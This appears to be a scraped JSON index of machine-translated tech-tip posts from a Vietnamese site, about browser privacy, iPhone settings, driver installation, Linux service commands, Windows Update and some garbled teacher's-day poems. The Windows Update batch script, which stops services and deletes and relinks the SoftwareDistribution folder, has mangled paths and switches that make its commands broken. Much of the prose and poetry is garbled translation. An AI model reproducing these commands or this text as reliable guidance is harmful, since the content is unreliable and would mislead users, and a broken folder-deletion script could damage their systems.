Click \u0026amp; Clean page in Chrome Web Store and click on ' Add to Chrome ' to add the widget to the browser.\n  Step 3 : A window will appear asking if you want to add the utility. Click ' Add ' then wait for a few seconds.\n  Step 4 : After the utility is added, click its icon near the Chrome Menu button and then click on ' Options ' to go to the configuration page.\n  Step 5 : Scroll down to the ' Extra ' section, you will see the ' Delete private data when Chrome close ' option, check here to delete all data when closing the browser.\n  Mozilla Firefox Unlike Chrome, Firefox has a built-in function to automatically delete data when you exit the browser. How to install is as follows:\nStep 1 : Open Firefox on your computer\nStep 2 : Click on the Firefox menu in the top left corner, select ' Preferences ' to go to the settings page.\n  Step 3 : Click on the ' Privacy ' tab to go to privacy settings.\n  Step 4 : In this section, right under the ' History ' section, there is a drop down menu with the label ' Firefox will ', click here and select ' Use custom settings for history '.\n  Step 5 : You can see some configuration options, one of which is ' Clear history when Firefox closes '. Check this box to delete web data when Firefox is turned off.\n  Step 6 : Firefox allows you to choose what type of data to delete when browsing is turned off. To use this function, click on ' Settings ' next to ' Clear history ' in step 5.\n  Step 7 : In the new dialog box, check the data options you want to delete and click ' OK ' to save the settings.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbO1wqRkraddlsK1u8yaq6KbkaG5unnDnqOerJVisaLAwGauoZ2eYrCtu9KipaBlk52%2FsLnEZp2iqpWbvLl5waumsKuVpw%3D%3D\n","link":"/post/trick-to-automatically-delete-data-when-closing-chrome-firefox-browser/","section":"post","tags":null,"title":"Trick to automatically delete data when closing Chrome, Firefox browser"},{"body":"Here are the functions you can turn off without affecting the usability of the device.\n1. Analyze iPhone The iPhone Analytics feature sends your phone information to Apple, which causes a number of security issues. Apple collects this data to improve the service, but a lot of people think their information is much more important than the new improvements on the iPhone.\nTo turn off this feature, click Settings\u0026gt; Privacy\u0026gt; Analytics\u0026gt; Turn off Share iPhone Analytics .\nTurn off iPhone analytics 2. Analyze iCloud iCloud Analytics, like iPhone Analytics, is a feature that helps Apple improve its services. Siri is one of the functions that iCloud Analytics sends information to Apple. If you don't want to share these things with Apple, this feature can also be easily disabled.\nThis feature is also turned off in the same page as iPhone Analytics. Just go to Settings\u0026gt; Privacy\u0026gt; Analytics\u0026gt; Turn off Share iCloud Analytics .\nTurn off iCloud analysis 3. Special place When you give your iPhone access to Significant Locations, your phone can provide you with location information that is important to you in the Maps and Photos app. When you go to the Significant Locations tab, you will see a list of places you've been, quite unexpected and a little uncomfortable, right? To create this list, iPhone to track and record every place you go, that is to use GPS.\nThis feature is a bit difficult to find because it is hidden under a lot of menu layers. Go to Settings\u0026gt; Privacy\u0026gt; Location Services\u0026gt; System Services\u0026gt; Turn off Significant Locations.\nTurn off special location mode 4. Collect new data In the Password \u0026amp; Accounts section, there is a feature called Fetch New Data. Click here and you will see a few more options. If set to Push, the phone keeps checking to see if anything new has happened. This feature consumes quite a lot of battery. If this is a phone to work, Push is a good choice. Automatic data collection is also a good feature. You can choose to collect data over time or manually.\nThis feature is located in Settings\u0026gt; Password \u0026amp; Accounts\u0026gt; Fetch New Data.\nCollect new data 5. Unnecessary system services In System Services you will find a lot of features using your location. Some apps are really useful like Find My iPhone and Emergency Calls \u0026amp; SOS.\nHowever, the following features you should turn off because it really does not have too many everyday effects:\nCompass Calibration HomeKit Location-Based Alerts Location-Based Apple Ads Location-Based Suggestions Time Zone Setting 6. Tracking ads According to Apple, this is a service that helps you get more ads that suit your interests. This feature will allow advertisers to track your behavior on various pages and display ads based on the information gathered. This feature cannot be completely disabled but may be limited. It should be noted that, even off does not reduce the number of ads, just limit the accuracy of ads directed to you only.\nThe ad restriction feature is not enabled by default. To turn it on, go to Settings\u0026gt; Privacy\u0026gt; Advertising\u0026gt; Turn on Limit Ad Tracking .\nTurn on ad tracking limitncG1vNJzZmismaXArq3KnmWcp51kg26wxJ%2BYrqSkYsCmwNOipaCrXa68tnnSoaaupJRiwba%2BzWamn55dnrtutc%2Bhpqed\n","link":"/post/6-default-settings-you-should-turn-off-in-iphone/","section":"post","tags":null,"title":"6 default settings you should turn off in iPhone"},{"body":"Recently the easter egg of Chrome browser for mobile devices has been discovered, it is a smiley icon that will appear when you open 100 full tabs on the browser.\nAccording to Google, this will make users feel interesting and happy to have a smile icon with them. The reason for the appearance of this easter egg is largely due to the Google developer does not want to increase the size of the tab count count box to display 3 characters. So when this counter displays up to 100, a smiley face will appear, just to bring the feeling of surprise to the user and there is no need to change the user interface with the counter remains the same size.\nWhile this is an interesting little easter egg, if you see it, you should know that you have opened more than 100 tabs in Chrome browser, this will probably be a burden for RAM and probably already It's time to clean up the browser a bit.\nncG1vNJzZmismaXArq3KnmWcp51ksqK%2F056pZp2XnMBuu81mmqGqn6KybrnOm6ClnV2WvbGxwKtksKCVo3qwvMSnoKefXWZ9cXnTmpms\n","link":"/post/easter-eggs-on-chrome-mobile-appear-when-opening-100-tabs/","section":"post","tags":null,"title":"Easter eggs on Chrome Mobile appear when opening 100 tabs"},{"body":"\u0026nbsp;However, don't give up - there is a way you can install the driver and fix this error.\nCauses of the error \"The Driver Being Installed Is Not Validated\" This error appears because you are trying to install drivers that the manufacturer does not provide directly. When manufacturers make PCs or laptops, they usually have a special set of hardware and drivers.\nTherefore, if you try to install a driver that the manufacturer has not officially confirmed, the computer will tell you that the driver has not been verified. Sorry, there's no 'Install anyway' button on the error that appears. However, you can install drivers differently - just know that there is a reason for the manufacturer to block unverified driver downloads!\nHow to fix the error \"The Driver Being Installed Is Not Validated\" If you get this error and still want to install the driver, you can't use an easy installation method to do this. Once you download and run the EXE file, the computer stops it.\nTo fix this, first find the driver you want to install on Intel's website. For this article, I will update the i3 7100u, so I searched for 'i3 7100u driver' and clicked on the Intel link that appears.\n Select the driver you want to install from the list. Then the most important step, when you can choose to download EXE or ZIP, choose the ZIP file.\n While downloading, press the Start button , type Device Manager and press Enter.\nExpand the Display adaptors category , right-click the graphics driver and select Update driver.\n Select Browse my computer for driver software .\nOn the next menu, do not browse for any files. Instead, choose Let me pick from a list of available drivers for my computer .\nSelect the graphics adapter, then click Have Disk.\n On the next menu, make sure the ZIP file is downloaded and unzipped before you continue. Browse to the folder you extracted and go to the Graphics folder .\nHere, you will see a number of DDL files to choose from. You need to choose a file depending on the device you have.\nUnfortunately, there doesn't seem to be a universal answer for all drivers. For example, some people say look for a file named 'igdlh64.inf' or 'igdlh32.inf'. Some others have said that look for a file that ends in 64 or 32 and choose the one that matches your 32 or 64-bit system.\nUnfortunately for the 7100u in the example, neither option appears. After a while searching, the author found out that I needed the file 'iigd_dch.inf' , so the example used that file. When you select the correct file, it will install the driver without error message.\nOvercoming Intel's driver limitations As you can see, it's easy to resolve the error 'The driver being installed is not validated' in Windows. Just remember that manufacturers prevent you from installing the driver because they haven't verified it yet. If you are still adamant about installing drivers, you can fix this error by installing the driver yourself.\nIf you are having driver problems, you can see the recently updated Windows driver or check for faulty driver with Driver Verifier.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWUp7a3sdFmmZ6hnpx6qrrSrZilpJWZeqq%2FjKemrWWmlrmqsMCtnJ1llae%2FsL6MqKVmr5mjsbDD0g%3D%3D\n","link":"/post/fix-the-driver-being-installed-is-not-validated-error-on-windows/","section":"post","tags":null,"title":"Fix 'The Driver Being Installed Is Not Validated' error on Windows"},{"body":"Besides the best wishes, cards and bouquets of flowers, the poems are also a very meaningful spiritual gift to the teachers on November 20. On the occasion of celebrating Vietnamese Teacher's Day (November 20) TipsMake.com would like to send you the best and most meaningful poems to honor the great merits of boatmen on the river in a silent life. day and night brings knowledge and sentiment to the end of life. Wishing teachers good health and good work to contribute to the country with future talents!\n  1. Teacher's lullaby Each profession has a lullaby Bad or teacher also chose this track The lullaby of the cloudy color The river of his mother's father's plow\nStarted the age of three He lifts the chorus of his hometown for me Loving and remembering also love Love has no final steps!\nHe does not ru enough thousands of sentences Knowing the word is also behind life My childhood has a time Dreams are as wide as heaven, thousands of years\nLike the fire in the soul The flower in the leaf, the sprout in the tree He licked all the passion Looking forward to my full dream.\nMom lulls me to sleep all night He lulls when the sun rises every day In me, the letters are thick Don't forget your mother still worries about thin rice\nFrom the roof of the school Please lull me to guide me (The way the master thinks sometimes Childhood rolling a ball to come!)\nHe must be old Incarnate into each of your lives Even though the chalk is white That bag is enough for him to bring with him.\n2. Dust Dust Now it is far away and dear Remember teachers remember . come and play The old school of phoenix has been there Follow me to choke\nWhen I throw the board horizontally The teacher came to my side to look calm Write on a pair of funny jokes Table as well as we have \"soul\" .!\nDust fell on a thin figure Dust-coated powders like clouds Dropping the chalk away and melting the pieces Falling down made him more silver hair\nAre you bouncing seeds? He nurtured the seed year round ! Time dust keeps flying Do know tomorrow will rise and fall\nFalling like leaves leaves now On the arduous road is fragile In the old days, my teacher was Explain each teen's sentence to ..\nKnow what tomorrow will be The seed he knows is how Ceiling chalk dust will quickly fade Know what the next day will be!\nFalling and falling in the sun and mist On the roof of the school, the color tile was pale The old hair also has silver thread That teacher is here to go on .\nI still love stars 10 points Love the teacher to punish and learn That moment was like a resurrection Hey innocence is not out of words\nHow to return to the old days Maybe it is better not to play joke Who doesn't remember me \"enjoying\" the fine Forget the blows before?\nToday I still keep my love Once young, he was contemptuous Teacher - She raised her hand to guide Teach people to help their country\nWhen you take away from the school roof The age of the person was enough to question him Also attached to You - Teacher - She forever Poetry and sadness in love\n  3. The meaning of the teacher never forgets For years, I was startled to wake up It is about to be over and the months are dear The happy days of a childhood to school Drifting along each white cloud.\nI miss the old days dearly She teaches each poetic character She took me to knock on the door of life And graceful of a girl.\nMy soul, a long sadness She hugged, rubbed her head when she cried Her forehead wrinkled wrinkles Europeans look at us\nWe do not know when we are young Still unruly call her \"master camp\" And we are little sheep She shepherds on the vast field of knowledge.\nWhen the last days of the student days are about to pass I was startled to realize something small An immense and endless love She dedicates herself to our little sheep.\n4. Boatman A human life - a river . Those who stand stand on the shore, \"Wanting to cross the river must be stunned\" The way of life is forever thanks to people who give . May sunny and rainy, The intellectual boat he carried is how many people. Cross the river and send back a smile Love would like to donate glasses teacher injured. The wooden boat - the dew head As long as we all want thousands of days, The river is still here He brought the boats full of rivers .\n5. Remember the old village school teacher How many years to the city, away from the village Remember the white butterfly of yellow flowers in the countryside Remember the reading lesson Loving the old teacher dreaming about childhood Tilt wild character Her hand was warm until now. Early childhood view Her love as mother knows what to match. Pencil doodles Absorb the red ink color on the side Loving the old school, missing the village Dream about a day to visit her!\n  6. Teacher The wind accidentally blew this morning I suddenly saw his hair white Tell yourself that it is chalk dust But why the anxiety is not constant\nHow many years? For several years now huh ? Teacher . The student class left, and the teacher stayed Those paddles are white chalk And the master is a diligent carrier Give us the future\nTime, please stop Let us fold our arms once more Call the teacher with all the love .\n7. Auntie Leave the school roof dear how long is it? I always remained in the room Her teachings That day in the fall My steps are bustling . She did not say goodbye Away from school at any time I thought like a dream Where did you go, didn't you know? Still echoing words From her gentle voice Time steps constantly She had never returned We miss her forever Looking forward to her return In the past, she patted . Now we grow up The day of leaving school is near Ever meet you ?!\n8. Warm sunshine school yard Old message spread wide canopy love The leaves are sparkling with charming sunshine Now studying, the square yard is quiet Passing-off birds let out a cold sound.\nWe sat listening to the teacher preaching poetry The sun came up and sat on the sill And the wind also knows how to love poetry Occasionally cool into the sweet teacher voice.\nThe whole class was drunk with each rhythm Die every yellow cotton swept fall headline On spring still, the birds chirped Swoop down to the green warm sunbathing yard\nI sit still drinking pure honey springs Time like stopping without a step The space is also lying still and dare not move Out in the sun, the sun will stop\nThe school yard stretches its chest wide Proudly showing off in warm sunshine The poem of the teacher is still in deep rhythm Warmer sunshine thanks to the warm voice of the person .\n   9. No problem \"Forever my son's voice echoed. It was far away and I thought yesterday. Lecture of his teacher like wings of dreams, Let me fly away from the fairy sky. There are times when I watch silently, His forehead rests on wrinkles . Childhood like the full moon, How can you see the teacher and the five months? Gone are a while and I have grown up. The first lesson of my life understands teachers. The answer to you is no longer unknown That whole heart of generous teachers. In the distance according to the scent of the wind, I send my heart to honor my beloved \"\n10. Thanksgiving I stood still in the midst of a reclining life To once remember the old school roof The old-fashioned teachings have a rhyme There is a sunny shadow in the green river\nQuickly forget about the middle of the month, sweet and bitter This growth has a shadow yesterday Remember what was taught the days away Apply - probably the original source\nSuccessful tears blend the pain of red and black Which steps lead the steps What life lessons have learned Remind the shadow of the old year\nCultivate the dream with your cherished heart Let the tree of life have luxuriant foliage The shade stopped in the countryside The place of thanksgiving is the great schoolyard\nAsk for a calm moment between the superficial things Thanks for the teachers' gratitude.\n  11. Teachers He is the star who lights It is a street lamp that illuminates me And she is a gentle mother But it is heaven to teach us\nOnly once a year Twenty, eleven, days spent Teacher - She Students cover points Silk towels, silk shirts, congratulation\nIt's sunny and beautiful The lilies, the daisies are pretty Increased expression of gratitude Every day tired - Teacher coaxed\nNow few minutes are fragile We meet again, respect her, respect him Happy Teacher's Day summed up Looking forward to the teacher - she is strong and grows next person\n12. Forever in me, that school Every day is still amazing Struggling in front of the school gate Not a little bit wistful With that new school\nThe rows of phoenix trees The leaves of the leaves are big Looks like I want to whisper Please come in!\nThe other positive forest beckons Blending birds pass Like a love affair Welcome new friends together.\nYet now it is absorbed How many years have you studied The school one day Be part of me.\nAlso row of phoenix trees There are also many big roots Now a confidant Every day together\nEvery time the leaves rustle Like happy notes Join in the song Of the birds on the branches.\nUntil the flowers bloom Blushing the school yard It was when we cried Give the friendship separation\nOh! Dear school roof Oh! Dear teachers Get me wings Flying high on the road of life.\nStar time is too fast How many years away from school Where people live Look at the memory of the old school.\nI wish one day Get back to the old school Find some memories Of a dreamy time.\nDon't take time! Do not blurred memories Do not cover the layer of translucent algae To remain in me!\n13. Short verses about teachers Want to go to the north bridge Kieu\nIf you want a child or a word, you love me.\n***\nFather's rice, mother's shirt, teacher letters\nThink about the days you wish.\n***\nThank you, teacher, for opening the way\nLet me step forward the future school mile\n***\nThe golden sword fell to West Lake\nThank you very much to the teacher for his deep respect.\n***\nWho are the non-masters?\nThe world often tells you how to make it.\n***\nThe king, the teacher, the father, the trinity\nWorship is like a child, please write down.\n***\nTen years of training light books\nThe name meets the step, not forgetting the teacher.\n***\nFather and mother merit\nCome to the school for teachers to teach.\n***\nRemember guys fruit trees\nHaving a name can hope to remember the teacher when he was old.\n***\nMop and write for writing\nAu Duong has a mother who teaches like a teacher.\n***\nThat ignorance must depend on the teacher\nThe other clumsy man is a worker.\n***\nVisit here to visit the teacher\nWithout drunken smell, the smell of the ceiling is also clear.\n***\nMore children are blessed father\nThe game is better than the teacher is a peaceful country.\n***\nI remember this word\nFather and mother, meaning mother and teacher, do not forget.\n***\nThe word teacher in the human realm\nLong miles of sunny flowers far from the sea\n***\nTime even though the head is silver\nMy heart is still deeply carved\n***\nTeaching children from early childhood\nNear the teacher near you practice rituals\nLearn for \"intellectual objects\"\nLiterature means what career means.\n14. Proverbs and idioms about teachers on November 20 First is obedient, Second is knowledge\nSell ​​yourself micro-monks, most self-monks\nA word is also a teacher, half a word is a teacher\nShould not his teacher\nStudy the teacher without learning you\nA gold store is not equal to a letter\nWant to know what to ask, want to be good to learn\nEat good school\nThe seventy-year-old learns him seven-one\nWhere to go to school for a long time also knows\nPeople do not learn like pearls without grinding\nNew teacher is the teacher\nA book is not as good as a good teacher\nBest quartermaster\nThe first day of a father's festival, the third anniversary of the teacher\nRemember guys fruit trees\nWish you have a happy November 20 with teachers and friends!\nncG1vNJzZmismaXArq3KnmWcp51ktLC7w2anqJ2dqHqnu9Fmq56Zk52ys7%2BMqKVmrJiaeqWt2Gamn2WmnrK1usCmnKydXamyoq%2FHnqms\n","link":"/post/good-poems-for-teachers-on-the-day-of-vietnamese-teachers/","section":"post","tags":null,"title":"Good poems for teachers on the day of Vietnamese teachers"},{"body":"Emotional icons or stickers on chat and texting applications are an indispensable part for everyone, especially Facebook Messenger. With many different topics, the sticker or icon will help our conversation more attractive and lively. So did you know the unique features of self-finding sticker on Facebook Messenger?\nWhen we access Messenger, or submit a message right on Facebook, the sticker section will add a search box so you can enter any keyword for the sticker. Immediately after that, the sticker will follow the theme for you to choose. However, in order to be able to use this feature, we will need a few settings changes right on Facebook. Let's find out how to find the sticker on Facebook Messenger.\nStep 1: First of all, you need to log in to your personal Facebook account .\nStep 2: At the main interface, click on the down arrow icon and select Settings .\n  Step 3: In the menu on the left, we will select the Language section.\n  Step 4: In the language section, you will see that it is in Vietnamese mode. Please click on it to change the language for Facebook to English to enable Messenger search feature .\n  Step 5: We will change to Facebook language is English, select English and then click Save changes right below.\n  \nStep 6: Soon, your Facebook interface has been changed to English . Next, we can access Messenger, or instant messages on Facebook.\nAt the messaging interface for your child, please click on the smiley icon to select the sticker . We will see the sticker changes the interface, when providing 10 sticker themes available , including Happy (Cheerful), Sad (Sad), Celebrating (Anniversary), Working (Working), Angry (Angry) , In love (Love), Eating (Eating), Active (Active), Sleep (Sleep), and Confused. Above will be the search bar sticker Search stickers .\n  We just need to click on one of the 10 available sticker themes to select the sticker.\n  Step 7: If you want to find another sticker topic , just enter the keyword on the search bar . Immediately afterwards, the sticker theme will display as the search word we typed.\n  You can search for stickers on a variety of topics, from emotions, phenomena such as rain, family. To type a keyword to find another topic , click on the x next to it. However, the user needs to enter the label themes in English before the results will appear.\n  Pretty interesting right ?! Not only simple with several sticker themes when we chat on Facebook Messenger, but you can search for many different stickers. If you change the Facebok language into English, you can use this feature on the web or Messenger application. When looking for sitckers, enter keywords in English to get search results. Don't miss out on unique, attractive features when you can search for different sticker themes on Messenger.\nRefer to the following articles: How to post Facebook status with sticker on phone How to log out of Facebook Messenger on iOS, Android and Windows Phone Transform color chat window Facebook Messenger I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktaLCxGawqK1dqb%2BqscNmq6GdXajBqq%2FKnqlmq5WWv6S0jJ%2Bcmqylp7Juu81mnZqblZe8sLeMppysq5WjtKa%2BjLKcrQ%3D%3D\n","link":"/post/have-you-tried-the-sticker-search-feature-on-facebook-messenger-yet/","section":"post","tags":null,"title":"Have you tried the sticker search feature on Facebook Messenger yet?"},{"body":"Free Download Manager is a free download support software on your computer, in addition to speeding up download links, this software also supports users to add download links when Free Download Manager does not automatically link. The instructions below will help you add the download link to Free Download Manager\nTop download acceleration software for Mac Top 8 best free download support tools for Windows Tips to download games, Android applications do not support in Vietnam do not need VPN Guide to download links to Free Download Manager In the main interface of Free Download Manager, click the plus sign in the upper left corner.\n  Then add your download link to the download link add frame and click OK .\n  In the address change table you can choose the path to save the file in Save to and click Download to start the download.\n  Just like IDM (Internet Download Manager), problems not catching links often occur. So you can do the same as on Free Download Manager.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiecOorqekn5axbrjIp6JmrJ9is7OxxGabqK%2BeobyisIymmKeZl5q%2FbsDOZpicm5WhsrOt055knaeno7mwrcOs\n","link":"/post/how-to-add-a-download-link-to-free-download-manager-to-accelerate-downloads/","section":"post","tags":null,"title":"How to add a download link to Free Download Manager to accelerate downloads"},{"body":"When Windows 10 April 2018 Update is about to be ready and Microsoft will release via Windows Update, more and more machines will be upgraded in the next few days. Both Microsoft and users are happy, of course, not taking into account errors.\nBasically, the process of transferring from Windows 10 to Windows 10 is that Windows Update automatically downloads the necessary files, then unzip, perform the upgrade. But for PCs with limited memory or a full C drive, this will be a problem.\nHow to free up computer memory Windows 7, 8 / 8.1 and Windows 10 Clean hard disk, speed up file access 80% Cannot download the file and cannot upgrade Windows 10 April 2018 Update. So another solution is to move the address to save the files to a folder, or even to another drive.\nOf course this is not easy and Microsoft does not give any specific instructions. Changing the Windows Update download address may affect the stability of the system, so if you follow this guide, be sure to make a copy of the data.\nHow to backup and restore Windows 10 from System Image How to backup and restore Windows in just 10 minutes with Acronis True Image By default, the update is downloaded to the SoftwareDistribution folder on drive C and hidden in Windows 10. Transferring the folder will not be as simple as usual and need to be logged on as an administrator. The new folder used in this tutorial is NewUpdateFolder located in drive D. You can change the name and location to anywhere you like.\nFirst, suspend the Windows Update service by opening Task Manager \u0026gt; Services and right-clicking on wuauserv and choosing Stop. Do the same with BITS service .\n  Stop necessary services\nNext, delete the SoftwareDistribution folder in C:\u0026gt; Windows drive . Remember to do this you need administrative rights. Once deleted, you need to create a path between the old and new folders. Open the Command Prompt and type the following command (the new folder section will automatically type according to your wishes).\n mklink / J SoftwareDistribution D: NewUpdateFolder  Then restart the wuauserv and BITS services on Task Manager, then the new update will automatically be downloaded to the new folder.\nIf the above steps are too complicated, you can create a BAT file. Open a new text folder, paste the following lines and save, and convert the extension from TXT to BAT. Then run it with administrator privileges.\n net stop wuauserv net stop bits if exist C: WindowsSoftwareDistribution rmdir / S / QC: WindowsSoftwareDistribution rmdir / S / QD: SoftwareDistribution if not exist D: SoftwareDistribution mkdir D: NewUpdateFolder CD / DC: Windows mklink / J SoftwareDistribution D: NewUpdateFolder net start wuauserv net start bits  Do not forget to back up the data before doing the steps above to return to the original configuration if in the process where there are errors. If you have any problems, please check whether you have administrative rights, turn off Windows Update services, and provide the new address name correctly.\nSee more:\nWindows 10 April Update 2018 Update makes taskbar invisible This is the new borderless Clipboard of Windows 10 The features will be removed on the Windows 10 April update 2018 Update Experience fast Windows 10 April 2018 Update ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llKTEr7jOmptmnp%2Bhsaa%2BjLCgp5yfrMBuwc%2BdmK2dXZ67bsPIp5uor6NifnE%3D\n","link":"/post/how-to-change-the-download-folder-windows-update-in-windows-10/","section":"post","tags":null,"title":"How to change the download folder Windows Update in Windows 10"},{"body":"When using any Linux distribution, several processes and services will run together. Some services may run in the background without the user's knowledge. Running unnecessary services can consume a lot of system resources or cause security problems.\nTherefore, it is necessary to know all the services that are running on the system. In this article, TipsMake.com will show you all possible ways to list the services running on Linux computers.\nHow to check the services running in Linux First, understand the Linux services. If the service has a script, then it comes with three states:\nstart (start) stop restart This is all done with the - service command . For example, to restart service network-manager, run the following command:\nsudo service network-manager restart The service command references each service using the init script stored in /etc/init.d for Ubuntu and any other Debian-based distributions, and etc / rc.d / init.d for the distributions. Linux distribution is based on RedHat. Some service names vary by distribution. For example, the Apache web server service is httpd on CentOS and Apache2 on Ubuntu.\nMany Linux distributions belong to the following init systems:\nSystem V (SysV) , is the original init system. Upstart systemd , is the newest init system as of the time of writing. Check all services running in the System V (SysV) init system Let's take a look at some of the Terminal commands you can use to list all services running on the SysV init system.\nservice --status-all Service -status-all command output The above command lists all the services running in the system. In case the service is running a lot, you can use the additional parameters - more and less to list the services in the view in an organized and clear manner.\nservice --status-all | less Service command output –status-all | Less service --status-all | more Service command output –status-all | More To list only services currently running on the system, execute the command below:\nservice --status-all | grep running To view the status of a specific service, execute the command below:\nservice --status-all | grep [service_name] e.g service --status-all | grep httpd Alternatively, you can execute the below command to view the status of a specific service.\nservice httpd status To list all services that are activated during boot, execute the command below:\nchkconfig --list Check all services running in the Upstart init system To list all services on Linux machines running the Upstart init system, execute the command below:\ninitctl list Check all the services running in the Systemd init system To list all services on Linux machines running Systemd init, execute the following command:\nsystemctl Systemctl command output From the above command, we see that the data is displayed in 5 columns, namely UNIT, LOAD, ACTIVE, SUB and DESCRIPTION .\nYou can also list running services based on their type with the following command:\nsystemctl list-units --type service Output command systemctl list-units –type You can also list services based on their current state. The result is quite similar to the output of the previous command but a bit simpler.\nsystemctl list-unit-files --type service systemctl list-unit-files | grep enabled To list the status of a specific service, execute the command below:\nsystemctl status [service_name] e.g systemctl status acpid.path Systemctl status acpid.path command To list only services currently running on the system, execute the command below:\nsystemctl | grep running The systemctl command | grep running To list all services that are activated during boot, execute the command below:\nsystemctl list-unit-files | grep enabled The command systemctl list-unit-files | grep enabled You can also view the top control groups and their use of system resources such as I / O, CPU, Tasks and Memory using the systemd-cgtop command .\nsystemd-cgtop Systemd-cgtop command output It is also possible to use pstree to list all services running on the system. Pstree gets this information from the Systemd system output.\npstree Pstree command output Pstree can also be used with the System V int system. It takes the output from the SysVinit system.\npstree You can also use the chkservice utility to check all the services running on the Systemd system. This utility is not preinstalled. However, you can install it via Terminal using the command below:\nsudo apt-get install chkservice Chkservice installation command To start the chkservice, execute the command below. Note, you need superuser rights.\nsudo chkservice The command starts chkservice To see all the features that come with this great tool, press the key ?to open the Help menu .\nPress ? to open the Help menuncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecClo2arlafDqq%2FErGSrrZ6jtq%2BzjKKlZqSZo8K5\n","link":"/post/how-to-check-all-services-running-in-linux/","section":"post","tags":null,"title":"How to check all services running in Linux"},{"body":"TikCam is a multifunctional video editor and editor for Android that helps you create Tik Tok videos with effects you often see in blockbusters. Turn ordinary videos into unique clips and share them to users.\nSpecifically TikCam will give users interesting things like flame effects, thunder, explosions, rain, even using Spark Circles and Magic Circles as in Doctor Strange. In addition to these effects, you will be able to edit filters for video, crop, rotate and adjust canvas, volume . like other video editing software you often see.\nIf you want to try using TikCam to create your own unique videos, take a look at the instructions below to create video effects on TikCam and share with your friends.\nGuide to making professional movies with iMovie on iPhone and iPad The best video editing applications for iPhone Instructions for inserting text into videos on iPhone How to edit a video using the VivaVideo application on your phone Instructions for making video effects with TikCam Download TikCam for iOS\nStep 1: Download the TikCam app for iPhone above, then click Animation to select the effect, and you also have the Slideshow option to create your photo video.\n   Step 2: Once you have selected the effect, click on TryNow to perform downloading and effecting your video. Remember to allow TikCam to access your microphone and camera.\n   Next, wait for the download effect.\n  Then put your hand in the right position where TikCam instructs, depending on the effect that TikCam will guide you to how to move your hand properly. Next, click on the camera icon below, you will see the interface is switched to the interface to start recording video.\nAnd there will be a new button instead of the position of the video dial, which will tell you the duration of the effect. Once you have finished recording, you can click on the v-sign icon at the bottom to save the video, next to the V-tick button, which is the back button from the beginning.\n   You will be moved to the Preview interface later, where you will have video editing tools like:\nTry More: Try again one more time. Edit: Includes video editing tools, from adding text, attaching stickers, selecting filters, cutting videos, rotating videos. Save: Save the video to the device memory. Share: Share videos via social networking sites like Facebook, Instagram, Youtube, iMessage . Depending on the video editing needs, you can choose the tools available to edit your video, and if you don't like it, you can return to the video. In the filter selection section for the video you will have 2, 3 free filters, where else you have to perform the upgrade to the VIP package to use the additional effects and tools.\n   Just like TikTok, you only need a few simple steps to have a complete video effect and show it to your friends. The advice is to let someone shoot a video for you to keep your hands free, or put your phone in a convenient and rotating position, then your action will be more eye-catching than when you just took the phone while recording. .\nIn the application there are many effects you can use, however, you must upgrade to another advanced package. The registration time for TikCam VIP package is 119,000 VND per week and 229,000 VND per month and 699,000 VND for 12 months, however you can try the TikCam VIP package within 3 days before deciding to register for the package. that TikCam set out.\nYou can cancel the subscription at any time during the free trial period, but you cannot cancel the current subscription during the time the subscription is active. Your subscription automatically renews unless auto-renewal is turned off at least 24 hours before the end of the current subscription.\nSee more:\nTop tool to create avatar and cover photos 'quality' for Facebook How to turn a still image into an image on your phone How to take an extra picture of AR sticker on Messenger How to set an animation for iPhone lock screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyvoJ2dn2Kyp7LEnKtmr5mptW7AyKSamqU%3D\n","link":"/post/how-to-create-video-effect-with-tikcam/","section":"post","tags":null,"title":"How to create video effect with TikCam"},{"body":"Google is also one of the companies collecting personal data of users. And one of the ways they use is to collect your location data. However, you can view the location data that Google has collected and if you wish, you can delete those data. Here are instructions for viewing and deleting the location history that Google and Google Maps saved.\nHow to view your location history on Google\nTo view location history on Google, open Google Maps Timeline. If you use a mobile device that installs the Google Maps application, the above link will take you to your location history within the Google Maps application.\nHow to delete your entire location history in Google Maps for iPhone and iPad\nOpen the Google Maps app on your iPhone or iPad. Click on the menu to the left of the search bar (looks like three horizontal lines stacked on top of each other) Click on the gear icon .   Click Personal content / Personal content . Click Delete all Location History / Delete all location history to delete the entire location history from Google.   Check the box I understand and want to delete / I understand and want to delete it to confirm. Click Delete / Delete .   How to delete part of your location history in Google Maps for iPhone and iPad\nYou also go to Personal Content Click Delete Location History range / Delete location history range to delete some location history on Google. Click Start / Start date .   Select the date to start deleting the data. This will be the earliest date within the location deleted data range. Press End / End date . Select the end date to delete the data. This will be the last in the range of deleted location data.   Click Delete / Delete in the top right corner, agree and confirm again to delete.   How to turn off location services on iPhone and iPad\nIf you want to prevent Google from taking your location data from your iPhone or iPad, you can turn off location services for any Google applications you've installed, including Google search and Google Maps. .\nSee more:\nInstructions to prevent Google from tracking you through Google Maps How to turn off location positioning on iOS Prevent Google from saving location history on iOS and Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysmK%2BdlGK0sLvGpZxmpZGlwG64zpyYraGfo3qptdKtpquxXaS7brXPoaannV2Wu6V5yKmYnQ%3D%3D\n","link":"/post/how-to-delete-saved-google-maps-location-history-on-iphone-and-ipad/","section":"post","tags":null,"title":"How to delete saved Google Maps location history on iPhone and iPad"},{"body":"1. Increase volume with Equalizer APO Equalizer APO is a free and open source software that gives you extremely good control over your PC's audio tuning settings. There are many things you can do with this software, but for now we will only focus on increasing that maximum volume.\nDownload and install Equalizer APO. Once you've done that, in the Configurator window of the installer, select the device you want to use with APO (e.g. headphones).\nNext, go to the Equalizer APO installation directory, the configuration folder, then open the 'config' file in Notepad.\nHere, change to Preamp: +10 dB and delete the rest of the text in the file so it looks like the following image.\n  Save the file, reboot your PC!\n2. Check video playback software Some video players may have an option to increase the volume. For example, if you find the VLC a bit small, you can increase its volume up to 300% in the player itself. Note that the higher you increase the volume, the more distorted the sound will be. It is a quick method, but not the best option.\nBy default, VLC only reaches 125% volume in the slider in the bottom right corner. To increase this level, go to Tools\u0026gt; Preferences , then click All in the bottom left corner of the window.\n Click All in the bottom left corner of the window\nIn the panel that appears, under 'Main interfaces' , click 'Qt' , then scroll down and increase the 'Maximum Volume displayed' box to 200 or 